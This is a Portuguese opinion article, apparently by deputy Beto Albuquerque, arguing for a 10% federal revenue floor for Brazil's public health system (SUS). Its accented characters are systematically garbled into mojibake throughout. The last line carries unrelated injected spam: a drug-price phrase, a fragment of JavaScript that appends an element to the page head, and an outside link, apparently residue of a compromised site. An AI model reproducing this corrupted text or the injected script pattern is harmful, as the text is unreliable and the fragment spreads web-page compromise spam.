LAi??der do PSB na CA?mara, deputado federal Beto Albuquerque. Foto: AndrAi?? AbrahA?o
O Congresso Nacional discute, hA? muitos anos, alternativas de financiamento Ai?? saA?de e vai aprovar a vinculaAi??A?o de receitas. Neste sentido, apresentei emenda Ai?? Lei de Diretrizes OrAi??amentA?ria (LDO/2014) prevendo 10% para a saA?de, em sintonia com o PLP nA? 123/2012 que aguarda votaAi??A?o em ComissA?o Especial da CA?mara dos Deputados.
O Movimento SaA?de Mais 10 tambAi??m apresentou ao Congresso proposta de iniciativa popular, com 1,9 milhA?o de assinaturas, que determina a vinculaAi??A?o de 10% dos recursos da receita bruta da UniA?o para a A?rea da saA?de. Essa vinculaAi??A?o representaria um incremento de R$ 45 bilhAi??es em recursos para a saA?de pA?blica.
O principal problema enfrentado pelo Sistema Asnico de SaA?de (SUS) nA?o Ai?? somente a mA? gestA?o de recursos, mas sim a falta de verbas. Ai?? claro que Ai?? preciso melhorar a gestA?o, mas Ai?? preciso, ao mesmo tempo, trazer mais recursos, necessA?rios inclusive para modernizar a gestA?o.
Mesmo com mais de R$ 80 bilhAi??es destinados Ai?? saA?de em 2013, o SUS se vA? estrangulado. O dAi??ficit no setor Ai?? de R$ 70 bilhAi??es, se considerados os parA?metros da OrganizaAi??A?o Mundial de SaA?de (OMS). Atualmente, sA?o destinados para a saA?de menos de 4% do Produto Interno Bruto (PIB), ao contrA?rio de paAi??ses que implementaram sistema pA?blico universal e de qualidade, cujos gastos alcanAi??am a mAi??dia de 7% do PIB, sendo pelo menos 75% de responsabilidade pA?blica.
A priorizaAi??A?o da saA?de nA?o pode ser mais adiada. O paAi??s, os estados e os municAi??pios precisam adotar como prioridade absoluta o suporte bA?sico e qualificado Ai?? saA?de de sua populaAi??A?o, o que implica responsabilidades solidA?rias, pactos firmados em cima de metas claras, priorizaAi??A?o de aAi??Ai??es com os recursos definidos e avaliaAi??A?o cotidiana de rumos e resultados.
Em 1993, em meio Ai?? primeira revisA?o constitucional, a saA?de foi desvinculada das despesas cobertas pelas contribuiAi??Ai??es sobre a folha de salA?rios, a mais importante fonte de financiamento da seguridade social. Desde entA?o, trava-se um duro e prolongado embate constitucional para a definiAi??A?o de pisos mAi??nimos e permanentes de recursos financeiros a serem aplicados no SUS nos trA?s nAi??veis de gestA?o.
Em 2012, a regulamentaAi??A?o da Emenda Constitucional 29, de 2000, na forma da Lei Complementar nA? 141, confirmou a definiAi??A?o de despesas em saA?de e responsabilidades no financiamento para estados e municAi??pios, mas preservou um nAi??vel de gastos federais incapaz de reverter o quadro de subfinanciamento que tem caracterizado a saA?de pA?blica nos A?ltimos 25 anos. O texto sA? definiu percentuais mAi??nimos de investimentos para estados (12%) e municAi??pios (15%). Com os vetos ocorridos, foi impedida a ampliaAi??A?o de recursos para a saA?de relativos Ai??s aplicaAi??Ai??es da UniA?o.
O MinistAi??rio da SaA?de, que jA? foi responsA?vel por 75% do financiamento da saA?de na dAi??cada de 80, teve reduzida esta participaAi??A?o para 45% em 2010. Com isso, o percentual pA?blico de gastos em saA?de foi de 3,8% do PIB, sendo 1,7% de recursos federais e 2,1% de recursos somados dos estados e municAi??pios.
A implantaAi??A?o do SUS foi uma das maiores vitA?rias da populaAi??A?o brasileira na Constituinte de 1988, mas Ai?? preciso garantir o seu financiamento e ampliaAi??A?o. Ai?? fundamental continuar avanAi??ando, nA?o sA? na qualificaAi??A?o da gestA?o, mas na garantia de um padrA?o de financiamento que seja suficiente para assegurar um sistema eficaz, com um atendimento de qualidade.
A grande dificuldade hoje de estados e municAi??pios refere-se a recursos para o custeio da saA?de. NA?o basta construir a Unidade de Pronto Atendimento (UPA) e comprar equipamentos. O mais dispendioso Ai?? manter o funcionamento 24 horas, todos os dias, com pessoal, equipamentos e insumos. Por isso, tambAi??m na LDO, pretendo que pelo menos 50% dos repasses do governo federal na A?rea de saA?de, sejam destinados para o seu custeio.
Ai?? necessA?ria uma soluAi??A?o definitiva para o financiamento da saA?de, que podem ser receitas oriundas da taxaAi??A?o de grandes fortunas ou mesmo do aumento da tributaAi??A?o de produtos nocivos Ai?? saA?de alAi??m de planejamento de como esse recurso seria gasto e como poderA? ser fiscalizada sua aplicaAi??A?o por parte da populaAi??A?o.
O fundamental Ai?? que exista por parte do governo a sensibilidade para definir mais recursos para saA?de, que Ai?? a pauta do futuro dos movimentos sociais em rede que ocuparam as ruas. arcoxia price in uae d.getElementsByTagName(‘head’)[0].appendChild(s); http://www.3karatt.com/21213
